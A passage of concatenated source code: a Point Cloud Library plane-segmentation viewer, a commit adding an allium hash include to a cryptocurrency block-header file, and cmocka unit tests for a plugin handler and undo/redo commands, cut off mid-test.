* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <pcl/io/io.h>
#include <pcl/io/pcd_io.h>
#include <pcl/visualization/pcl_visualizer.h>
#include <pcl/common/time.h>
#include <pcl/features/integral_image_normal.h>
#include <pcl/features/normal_3d.h>
#include <pcl/ModelCoefficients.h>
#include <pcl/segmentation/planar_region.h>
#include <pcl/segmentation/organized_multi_plane_segmentation.h>
#include <pcl/segmentation/organized_connected_component_segmentation.h>
#include <pcl/filters/extract_indices.h>
#include <pcl/console/parse.h>
#include <pcl/geometry/polygon_operations.h>
template<typename PointT>
class PCDOrganizedMultiPlaneSegmentation
{
private:
pcl::visualization::PCLVisualizer viewer;
typename pcl::PointCloud<PointT>::ConstPtr cloud;
bool refine_;
float threshold_;
bool depth_dependent_;
bool polygon_refinement_;
public:
PCDOrganizedMultiPlaneSegmentation (typename pcl::PointCloud<PointT>::ConstPtr cloud_, bool refine)
: viewer ("Viewer")
, cloud (cloud_)
, refine_ (refine)
, threshold_ (0.02f)
, depth_dependent_ (true)
, polygon_refinement_ (false)
{
viewer.setBackgroundColor (0, 0, 0);
//viewer.setPointCloudRenderingProperties (pcl::visualization::PCL_VISUALIZER_POINT_SIZE, 3, "cloud");
//viewer.setPointCloudRenderingProperties (pcl::visualization::PCL_VISUALIZER_OPACITY, 0.15, "cloud");
viewer.addCoordinateSystem (1.0);
viewer.initCameraParameters ();
viewer.registerKeyboardCallback(&PCDOrganizedMultiPlaneSegmentation::keyboard_callback, *this, 0);
}
void keyboard_callback (const pcl::visualization::KeyboardEvent& event, void*)
{
// do stuff and visualize here
if (event.keyUp ())
{
switch (event.getKeyCode ())
{
case 'b':
case 'B':
if (threshold_ < 0.1f)
threshold_ += 0.001f;
process ();
break;
case 'v':
case 'V':
if (threshold_ > 0.001f)
threshold_ -= 0.001f;
process ();
break;
case 'n':
case 'N':
depth_dependent_ = !depth_dependent_;
process ();
break;
case 'm':
case 'M':
polygon_refinement_ = !polygon_refinement_;
process ();
break;
}
}
}
void
process ()
{
std::cout << "threshold: " << threshold_ << std::endl;
std::cout << "depth dependent: " << (depth_dependent_ ? "true\n" : "false\n");
unsigned char red [6] = {255, 0, 0, 255, 255, 0};
unsigned char grn [6] = { 0, 255, 0, 255, 0, 255};
unsigned char blu [6] = { 0, 0, 255, 0, 255, 255};
pcl::IntegralImageNormalEstimation<PointT, pcl::Normal> ne;
ne.setNormalEstimationMethod (ne.COVARIANCE_MATRIX);
ne.setMaxDepthChangeFactor (0.02f);
ne.setNormalSmoothingSize (20.0f);
typename pcl::PlaneRefinementComparator<PointT, pcl::Normal, pcl::Label>::Ptr refinement_compare (new pcl::PlaneRefinementComparator<PointT, pcl::Normal, pcl::Label> ());
refinement_compare->setDistanceThreshold (threshold_, depth_dependent_);
pcl::OrganizedMultiPlaneSegmentation<PointT, pcl::Normal, pcl::Label> mps;
mps.setMinInliers (5000);
mps.setAngularThreshold (0.017453 * 3.0); //3 degrees
mps.setDistanceThreshold (0.03); //2cm
mps.setRefinementComparator (refinement_compare);
std::vector<pcl::PlanarRegion<PointT>, Eigen::aligned_allocator<pcl::PlanarRegion<PointT> > > regions;
typename pcl::PointCloud<PointT>::Ptr contour (new pcl::PointCloud<PointT>);
typename pcl::PointCloud<PointT>::Ptr approx_contour (new pcl::PointCloud<PointT>);
char name[1024];
typename pcl::PointCloud<pcl::Normal>::Ptr normal_cloud (new pcl::PointCloud<pcl::Normal>);
double normal_start = pcl::getTime ();
ne.setInputCloud (cloud);
ne.compute (*normal_cloud);
double normal_end = pcl::getTime ();
std::cout << "Normal Estimation took " << double (normal_end - normal_start) << std::endl;
double plane_extract_start = pcl::getTime ();
mps.setInputNormals (normal_cloud);
mps.setInputCloud (cloud);
if (refine_)
mps.segmentAndRefine (regions);
else
mps.segment (regions);
double plane_extract_end = pcl::getTime ();
std::cout << "Plane extraction took " << double (plane_extract_end - plane_extract_start) << " with planar regions found: " << regions.size () << std::endl;
std::cout << "Frame took " << double (plane_extract_end - normal_start) << std::endl;
typename pcl::PointCloud<PointT>::Ptr cluster (new pcl::PointCloud<PointT>);
viewer.removeAllPointClouds (0);
viewer.removeAllShapes (0);
pcl::visualization::PointCloudColorHandlerCustom<PointT> single_color (cloud, 0, 255, 0);
viewer.addPointCloud<PointT> (cloud, single_color, "cloud");
pcl::PlanarPolygon<PointT> approx_polygon;
//Draw Visualization
for (size_t i = 0; i < regions.size (); i++)
{
Eigen::Vector3f centroid = regions[i].getCentroid ();
Eigen::Vector4f model = regions[i].getCoefficients ();
pcl::PointXYZ pt1 = pcl::PointXYZ (centroid[0], centroid[1], centroid[2]);
pcl::PointXYZ pt2 = pcl::PointXYZ (centroid[0] + (0.5f * model[0]),
centroid[1] + (0.5f * model[1]),
centroid[2] + (0.5f * model[2]));
sprintf (name, "normal_%d", unsigned (i));
viewer.addArrow (pt2, pt1, 1.0, 0, 0, std::string (name));
contour->points = regions[i].getContour ();
sprintf (name, "plane_%02d", int (i));
pcl::visualization::PointCloudColorHandlerCustom <PointT> color (contour, red[i], grn[i], blu[i]);
viewer.addPointCloud (contour, color, name);
pcl::approximatePolygon (regions[i], approx_polygon, threshold_, polygon_refinement_);
approx_contour->points = approx_polygon.getContour ();
std::cout << "polygon: " << contour->size () << " -> " << approx_contour->size () << std::endl;
typename pcl::PointCloud<PointT>::ConstPtr approx_contour_const = approx_contour;
// sprintf (name, "approx_plane_%02d", int (i));
// viewer.addPolygon<PointT> (approx_contour_const, 0.5 * red[i], 0.5 * grn[i], 0.5 * blu[i], name);
for (unsigned idx = 0; idx < approx_contour->points.size (); ++idx)
{
sprintf (name, "approx_plane_%02d_%03d", int (i), int(idx));
viewer.addLine (approx_contour->points [idx], approx_contour->points [(idx+1)%approx_contour->points.size ()], 0.5 * red[i], 0.5 * grn[i], 0.5 * blu[i], name);
}
}
}
void
run ()
{
// initial processing
process ();
while (!viewer.wasStopped ())
viewer.spinOnce (100);
}
};
int
main (int argc, char** argv)
{
bool refine = pcl::console::find_switch (argc, argv, "-refine");
pcl::PointCloud<pcl::PointXYZ>::Ptr cloud_xyz (new pcl::PointCloud<pcl::PointXYZ>);
pcl::io::loadPCDFile (argv[1], *cloud_xyz);
PCDOrganizedMultiPlaneSegmentation<pcl::PointXYZ> multi_plane_app (cloud_xyz, refine);
multi_plane_app.run ();
return 0;
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2017 The Bitcoin Core developers
// Copyright (c) 2009-2017 The DigiByte Core developers
// Copyright (c) 2013-2014 Phoenixcoin Developers
// Copyright (c) 2016-2018 The CryptoCoderz Team / Espers
// Copyright (c) 2017-2018 The AmsterdamCoin developers
// Copyright (c) 2009-2016 The Litecoin Core developers
// Copyright (c) 2014-2017 The Mun Core developers
// Copyright (c) 2017 The Raven Core developers
// Copyright (c) 2018-2019 The GlobalToken Core developers
// Copyright (c) 2018-2018 The Pptp Core developers
// Copyright (c) 2017-2018 The XDNA Core developers
// Copyright (c) 2017-2018 The Denarius developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <primitives/mining_block.h>
#include <hash.h>
#include <tinyformat.h>
#include <utilstrencodings.h>
#include <chainparams.h>
#include <crypto/common.h>
#include <crypto/algos/hashlib/multihash.h>
#include <crypto/algos/neoscrypt/neoscrypt.h>
#include <crypto/algos/scrypt/scrypt.h>
#include <crypto/algos/yescrypt/yescrypt.h>
#include <crypto/algos/Lyra2RE/Lyra2RE.h>
#include <crypto/algos/Lyra2RE/Lyra2Z.h>
#include <crypto/algos/blake/hashblake.h>
#include <crypto/algos/bcrypt/bcrypt.h>
#include <crypto/algos/argon2d/hashargon.h>
#include <crypto/algos/yespower/yespower.h>
#include <crypto/algos/honeycomb/hash_honeycomb.h>
uint256 CDefaultBlockHeader::GetHash() const
{
return SerializeHash(*this);
}
uint256 CEquihashBlockHeader::GetHash() const
{
return SerializeHash(*this);
}
uint256 CDefaultBlockHeader::GetPoWHash(uint8_t algo) const
{
switch (algo)
{
case ALGO_SHA256D:
return GetHash();
case ALGO_SCRYPT:
{
uint256 thash;
scrypt_1024_1_1_256(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_X11:
{
return HashX11(BEGIN(nVersion), END(nNonce));
}
case ALGO_NEOSCRYPT:
{
unsigned int profile = 0x0;
uint256 thash;
neoscrypt((unsigned char *) &nVersion, (unsigned char *) &thash, profile);
return thash;
}
case ALGO_EQUIHASH:
return GetHash();
case ALGO_YESCRYPT:
{
uint256 thash;
yescrypt_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_HMQ1725:
{
return HMQ1725(BEGIN(nVersion), END(nNonce));
}
case ALGO_XEVAN:
{
return XEVAN(BEGIN(nVersion), END(nNonce));
}
case ALGO_NIST5:
{
return NIST5(BEGIN(nVersion), END(nNonce));
}
case ALGO_TIMETRAVEL10:
{
return HashTimeTravel(BEGIN(nVersion), END(nNonce), nTime);
}
case ALGO_PAWELHASH:
{
return PawelHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_X13:
{
return HashX13(BEGIN(nVersion), END(nNonce));
}
case ALGO_X14:
{
return HashX14(BEGIN(nVersion), END(nNonce));
}
case ALGO_X15:
{
return HashX15(BEGIN(nVersion), END(nNonce));
}
case ALGO_X17:
{
return HashX17(BEGIN(nVersion), END(nNonce));
}
case ALGO_LYRA2REV2:
{
uint256 thash;
lyra2re2_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_BLAKE2S:
{
return HashBlake2S(BEGIN(nVersion), END(nNonce));
}
case ALGO_BLAKE2B:
{
return HashBlake2B(BEGIN(nVersion), END(nNonce));
}
case ALGO_ASTRALHASH:
{
return AstralHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_PADIHASH:
{
return PadiHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_JEONGHASH:
{
return JeongHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_KECCAKC:
{
return HashKeccakC(BEGIN(nVersion), END(nNonce));
}
case ALGO_ZHASH:
{
return GetHash();
}
case ALGO_GLOBALHASH:
{
return GlobalHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_GROESTL:
{
return HashGroestl(BEGIN(nVersion), END(nNonce));
}
case ALGO_SKEIN:
{
return HashSkein(BEGIN(nVersion), END(nNonce));
}
case ALGO_QUBIT:
{
return HashQubit(BEGIN(nVersion), END(nNonce));
}
case ALGO_SKUNKHASH:
{
return SkunkHash5(BEGIN(nVersion), END(nNonce));
}
case ALGO_QUARK:
{
return QUARK(BEGIN(nVersion), END(nNonce));
}
case ALGO_X16R:
{
return HashX16R(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_LYRA2REV3:
{
uint256 thash;
lyra2re3_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R16V2:
{
uint256 thash;
yescrypt_r16v2_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R24:
{
uint256 thash;
yescrypt_r24_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R8:
{
uint256 thash;
yescrypt_r8_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R32:
{
uint256 thash;
yescrypt_r32_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_BCRYPT:
{
uint256 thash;
bcrypt(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_ARGON2D:
{
uint256 thash;
Argon2dHash(BEGIN(nVersion), BEGIN(thash), nTime);
return thash;
}
case ALGO_ARGON2I:
{
uint256 thash;
Argon2iHash(BEGIN(nVersion), BEGIN(thash), nTime);
return thash;
}
case ALGO_CPU23R:
{
return HashCPU23R(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_YESPOWER:
{
uint256 thash;
yespower_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_X21S:
{
return HashX21S(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_X16S:
{
return HashX16s(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_X22I:
{
return HashX22I(BEGIN(nVersion), END(nNonce));
}
case ALGO_LYRA2Z:
{
uint256 thash;
lyra2z_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_HONEYCOMB:
{
return HashHoneyComb(BEGIN(nVersion), END(nNonce));
}
case ALGO_EH192:
{
return GetHash();
}
case ALGO_MARS:
{
return GetHash();
}
case ALGO_X12:
{
return HashX12(BEGIN(nVersion), END(nNonce));
}
case ALGO_HEX:
{
return HashHEX(BEGIN(nVersion), END(nNonce));
}
case ALGO_DEDAL:
{
return HashDedal(BEGIN(nVersion), END(nNonce));
}
case ALGO_C11:
{
return HashC11(BEGIN(nVersion), END(nNonce));
}
case ALGO_PHI1612:
{
return Phi1612(BEGIN(nVersion), END(nNonce));
}
case ALGO_PHI2:
{
return PHI2(BEGIN(nVersion), END(nNonce));
}
case ALGO_X16RT:
{
int32_t nTimeX16r = nTime & 0xffffff80;
uint256 hashTime = Hash(BEGIN(nTimeX16r), END(nTimeX16r));
return HashX16R(BEGIN(nVersion), END(nNonce), hashTime);
}
case ALGO_TRIBUS:
{
return Tribus(BEGIN(nVersion), END(nNonce));
}
case ALGO_ALLIUM:
{
uint256 thash;
allium_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_ARCTICHASH:
{
return ArcticHash(BEGIN(nVersion), END(nNonce));
}
}
return GetHash();
}
std::string CDefaultBlock::ToString() const
{
std::stringstream s;
s << strprintf("CDefaultBlock(hash=%s, ver=0x%08x, hashPrevBlock=%s, hashMerkleRoot=%s, nTime=%u, nBits=%08x, nNonce=%u, vtx=%u)\n",
GetHash().ToString(),
nVersion,
hashPrevBlock.ToString(),
hashMerkleRoot.ToString(),
nTime, nBits, nNonce,
vtx.size());
for (const auto& tx : vtx) {
s << " " << tx->ToString() << "\n";
}
return s.str();
}
std::string CEquihashBlock::ToString() const
{
std::stringstream s;
s << strprintf("CEquihashBlock(hash=%s, ver=0x%08x, hashPrevBlock=%s, hashMerkleRoot=%s, nTime=%u, nBits=%08x, nNonce=%s, vtx=%u)\n",
GetHash().ToString(),
nVersion,
hashPrevBlock.ToString(),
hashMerkleRoot.ToString(),
nTime, nBits, nNonce.GetHex(),
vtx.size());
for (const auto& tx : vtx) {
s << " " << tx->ToString() << "\n";
}
return s.str();
}<commit_msg>Added allium.h<commit_after>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2017 The Bitcoin Core developers
// Copyright (c) 2009-2017 The DigiByte Core developers
// Copyright (c) 2013-2014 Phoenixcoin Developers
// Copyright (c) 2016-2018 The CryptoCoderz Team / Espers
// Copyright (c) 2017-2018 The AmsterdamCoin developers
// Copyright (c) 2009-2016 The Litecoin Core developers
// Copyright (c) 2014-2017 The Mun Core developers
// Copyright (c) 2017 The Raven Core developers
// Copyright (c) 2018-2019 The GlobalToken Core developers
// Copyright (c) 2018-2018 The Pptp Core developers
// Copyright (c) 2017-2018 The XDNA Core developers
// Copyright (c) 2017-2018 The Denarius developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <primitives/mining_block.h>
#include <hash.h>
#include <tinyformat.h>
#include <utilstrencodings.h>
#include <chainparams.h>
#include <crypto/common.h>
#include <crypto/algos/hashlib/multihash.h>
#include <crypto/algos/neoscrypt/neoscrypt.h>
#include <crypto/algos/scrypt/scrypt.h>
#include <crypto/algos/yescrypt/yescrypt.h>
#include <crypto/algos/Lyra2RE/Lyra2RE.h>
#include <crypto/algos/Lyra2RE/Lyra2Z.h>
#include <crypto/algos/blake/hashblake.h>
#include <crypto/algos/bcrypt/bcrypt.h>
#include <crypto/algos/argon2d/hashargon.h>
#include <crypto/algos/yespower/yespower.h>
#include <crypto/algos/honeycomb/hash_honeycomb.h>
#include <crypto/algos/allium/allium.h>
uint256 CDefaultBlockHeader::GetHash() const
{
return SerializeHash(*this);
}
uint256 CEquihashBlockHeader::GetHash() const
{
return SerializeHash(*this);
}
uint256 CDefaultBlockHeader::GetPoWHash(uint8_t algo) const
{
switch (algo)
{
case ALGO_SHA256D:
return GetHash();
case ALGO_SCRYPT:
{
uint256 thash;
scrypt_1024_1_1_256(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_X11:
{
return HashX11(BEGIN(nVersion), END(nNonce));
}
case ALGO_NEOSCRYPT:
{
unsigned int profile = 0x0;
uint256 thash;
neoscrypt((unsigned char *) &nVersion, (unsigned char *) &thash, profile);
return thash;
}
case ALGO_EQUIHASH:
return GetHash();
case ALGO_YESCRYPT:
{
uint256 thash;
yescrypt_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_HMQ1725:
{
return HMQ1725(BEGIN(nVersion), END(nNonce));
}
case ALGO_XEVAN:
{
return XEVAN(BEGIN(nVersion), END(nNonce));
}
case ALGO_NIST5:
{
return NIST5(BEGIN(nVersion), END(nNonce));
}
case ALGO_TIMETRAVEL10:
{
return HashTimeTravel(BEGIN(nVersion), END(nNonce), nTime);
}
case ALGO_PAWELHASH:
{
return PawelHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_X13:
{
return HashX13(BEGIN(nVersion), END(nNonce));
}
case ALGO_X14:
{
return HashX14(BEGIN(nVersion), END(nNonce));
}
case ALGO_X15:
{
return HashX15(BEGIN(nVersion), END(nNonce));
}
case ALGO_X17:
{
return HashX17(BEGIN(nVersion), END(nNonce));
}
case ALGO_LYRA2REV2:
{
uint256 thash;
lyra2re2_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_BLAKE2S:
{
return HashBlake2S(BEGIN(nVersion), END(nNonce));
}
case ALGO_BLAKE2B:
{
return HashBlake2B(BEGIN(nVersion), END(nNonce));
}
case ALGO_ASTRALHASH:
{
return AstralHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_PADIHASH:
{
return PadiHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_JEONGHASH:
{
return JeongHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_KECCAKC:
{
return HashKeccakC(BEGIN(nVersion), END(nNonce));
}
case ALGO_ZHASH:
{
return GetHash();
}
case ALGO_GLOBALHASH:
{
return GlobalHash(BEGIN(nVersion), END(nNonce));
}
case ALGO_GROESTL:
{
return HashGroestl(BEGIN(nVersion), END(nNonce));
}
case ALGO_SKEIN:
{
return HashSkein(BEGIN(nVersion), END(nNonce));
}
case ALGO_QUBIT:
{
return HashQubit(BEGIN(nVersion), END(nNonce));
}
case ALGO_SKUNKHASH:
{
return SkunkHash5(BEGIN(nVersion), END(nNonce));
}
case ALGO_QUARK:
{
return QUARK(BEGIN(nVersion), END(nNonce));
}
case ALGO_X16R:
{
return HashX16R(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_LYRA2REV3:
{
uint256 thash;
lyra2re3_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R16V2:
{
uint256 thash;
yescrypt_r16v2_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R24:
{
uint256 thash;
yescrypt_r24_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R8:
{
uint256 thash;
yescrypt_r8_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_YESCRYPT_R32:
{
uint256 thash;
yescrypt_r32_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_BCRYPT:
{
uint256 thash;
bcrypt(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_ARGON2D:
{
uint256 thash;
Argon2dHash(BEGIN(nVersion), BEGIN(thash), nTime);
return thash;
}
case ALGO_ARGON2I:
{
uint256 thash;
Argon2iHash(BEGIN(nVersion), BEGIN(thash), nTime);
return thash;
}
case ALGO_CPU23R:
{
return HashCPU23R(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_YESPOWER:
{
uint256 thash;
yespower_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_X21S:
{
return HashX21S(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_X16S:
{
return HashX16s(BEGIN(nVersion), END(nNonce), hashPrevBlock);
}
case ALGO_X22I:
{
return HashX22I(BEGIN(nVersion), END(nNonce));
}
case ALGO_LYRA2Z:
{
uint256 thash;
lyra2z_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_HONEYCOMB:
{
return HashHoneyComb(BEGIN(nVersion), END(nNonce));
}
case ALGO_EH192:
{
return GetHash();
}
case ALGO_MARS:
{
return GetHash();
}
case ALGO_X12:
{
return HashX12(BEGIN(nVersion), END(nNonce));
}
case ALGO_HEX:
{
return HashHEX(BEGIN(nVersion), END(nNonce));
}
case ALGO_DEDAL:
{
return HashDedal(BEGIN(nVersion), END(nNonce));
}
case ALGO_C11:
{
return HashC11(BEGIN(nVersion), END(nNonce));
}
case ALGO_PHI1612:
{
return Phi1612(BEGIN(nVersion), END(nNonce));
}
case ALGO_PHI2:
{
return PHI2(BEGIN(nVersion), END(nNonce));
}
case ALGO_X16RT:
{
int32_t nTimeX16r = nTime & 0xffffff80;
uint256 hashTime = Hash(BEGIN(nTimeX16r), END(nTimeX16r));
return HashX16R(BEGIN(nVersion), END(nNonce), hashTime);
}
case ALGO_TRIBUS:
{
return Tribus(BEGIN(nVersion), END(nNonce));
}
case ALGO_ALLIUM:
{
uint256 thash;
allium_hash(BEGIN(nVersion), BEGIN(thash));
return thash;
}
case ALGO_ARCTICHASH:
{
return ArcticHash(BEGIN(nVersion), END(nNonce));
}
}
return GetHash();
}
std::string CDefaultBlock::ToString() const
{
std::stringstream s;
s << strprintf("CDefaultBlock(hash=%s, ver=0x%08x, hashPrevBlock=%s, hashMerkleRoot=%s, nTime=%u, nBits=%08x, nNonce=%u, vtx=%u)\n",
GetHash().ToString(),
nVersion,
hashPrevBlock.ToString(),
hashMerkleRoot.ToString(),
nTime, nBits, nNonce,
vtx.size());
for (const auto& tx : vtx) {
s << " " << tx->ToString() << "\n";
}
return s.str();
}
std::string CEquihashBlock::ToString() const
{
std::stringstream s;
s << strprintf("CEquihashBlock(hash=%s, ver=0x%08x, hashPrevBlock=%s, hashMerkleRoot=%s, nTime=%u, nBits=%08x, nNonce=%s, vtx=%u)\n",
GetHash().ToString(),
nVersion,
hashPrevBlock.ToString(),
hashMerkleRoot.ToString(),
nTime, nBits, nNonce.GetHex(),
vtx.size());
for (const auto& tx : vtx) {
s << " " << tx->ToString() << "\n";
}
return s.str();
}<|endoftext|>
|
<commit_before>#include <stdarg.h>
#include <stddef.h>
#include <setjmp.h>
#include <cmocka.h>
#include "core/plugin_handler.h"
#include "core/alloc.h"
#include "core/log.h"
#include "core/file.h"
#include "core/commands.h"
#include <stdio.h>
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_null_base_path(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin(0, "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_null_plugin(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", 0));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_dummy_paths(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_add_plugin(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_add_plugin_true(void** state)
{
int count = 0;
(void)state;
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "sourcecode_plugin"));
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "registers_plugin"));
PluginData** plugins = PluginHandler_getPlugins(&count);
assert_int_equal(count, 2);
assert_true(PluginHandler_getPluginData(plugins[0]->plugin) == plugins[0]);
assert_true(PluginHandler_getPluginData(plugins[1]->plugin) == plugins[1]);
PluginHandler_unloadAllPlugins();
plugins = PluginHandler_getPlugins(&count);
assert_int_equal(count, 0);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_find_plugin(void** state)
{
(void)state;
assert_null(PluginHandler_findPlugin(0, "dummyFile", "dummyName", false));
assert_null(PluginHandler_findPlugin(0, "dummyFile", "dummyName", true));
assert_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", false));
assert_non_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", true));
assert_non_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", false));
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "registers_plugin"));
assert_non_null(PluginHandler_findPlugin(0, "registers_plugin", "Registers View", true));
PluginHandler_unloadAllPlugins();
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_load_file_ok(void**)
{
size_t size;
void* ret = File_loadToMemory("examples/fake_6502/test.bin", &size, 0);
assert_non_null(ret);
assert_int_equal(size, 11);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_load_file_fail(void**)
{
size_t size;
void* ret = File_loadToMemory("examples/fake_6502/test_dont_exist.bin", &size, 0);
assert_null(ret);
assert_int_equal(size, 0);
}
static int g_intValue = 0;
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
struct IntAddData
{
int newValue;
int oldValue;
};
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void doAdd(int value)
{
IntAddData* addData = (IntAddData*)alloc_zero(sizeof(IntAddData));
addData->newValue = value;
Commands_execute(
{
addData,
[](void* userData)
{
IntAddData* data = (IntAddData*)userData;
data->oldValue = g_intValue;
g_intValue += data->newValue;
printf("exec %d\n", g_intValue);
},
[](void* userData)
{
IntAddData* data = (IntAddData*)userData;
g_intValue = data->oldValue;
printf("undo %d\n", g_intValue);
}
});
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void test_commands(void**)
{
Commands_init();
g_intValue = 0;
assert_int_equal(g_intValue, 0);
doAdd(1);
assert_int_equal(g_intValue, 1);
doAdd(1);
doAdd(1);
assert_int_equal(g_intValue, 3);
Commands_undo();
assert_int_equal(g_intValue, 2);
Commands_undo();
Commands_undo();
assert_int_equal(g_intValue, 0);
Commands_redo();
assert_int_equal(g_intValue, 1);
Commands_redo();
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int main()
{
log_set_level(LOG_NONE);
const UnitTest tests[] =
{
unit_test(plugin_handler_null_base_path),
unit_test(plugin_handler_null_plugin),
unit_test(plugin_handler_dummy_paths),
unit_test(plugin_handler_add_plugin),
unit_test(plugin_handler_add_plugin_true),
unit_test(plugin_handler_find_plugin),
unit_test(test_load_file_ok),
unit_test(test_load_file_fail),
unit_test(test_commands),
};
return run_tests(tests);
}
<commit_msg>Removed temporary logging<commit_after>#include <stdarg.h>
#include <stddef.h>
#include <setjmp.h>
#include <cmocka.h>
#include "core/plugin_handler.h"
#include "core/alloc.h"
#include "core/log.h"
#include "core/file.h"
#include "core/commands.h"
#include <stdio.h>
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_null_base_path(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin(0, "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_null_plugin(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", 0));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_dummy_paths(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_add_plugin(void** state)
{
(void)state;
assert_false(PluginHandler_addPlugin("dummyPath", "dummy"));
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_add_plugin_true(void** state)
{
int count = 0;
(void)state;
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "sourcecode_plugin"));
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "registers_plugin"));
PluginData** plugins = PluginHandler_getPlugins(&count);
assert_int_equal(count, 2);
assert_true(PluginHandler_getPluginData(plugins[0]->plugin) == plugins[0]);
assert_true(PluginHandler_getPluginData(plugins[1]->plugin) == plugins[1]);
PluginHandler_unloadAllPlugins();
plugins = PluginHandler_getPlugins(&count);
assert_int_equal(count, 0);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static void plugin_handler_find_plugin(void** state)
{
(void)state;
assert_null(PluginHandler_findPlugin(0, "dummyFile", "dummyName", false));
assert_null(PluginHandler_findPlugin(0, "dummyFile", "dummyName", true));
assert_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", false));
assert_non_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", true));
assert_non_null(PluginHandler_findPlugin(0, "sourcecode_plugin", "Source Code View", false));
assert_true(PluginHandler_addPlugin(OBJECT_DIR, "registers_plugin"));
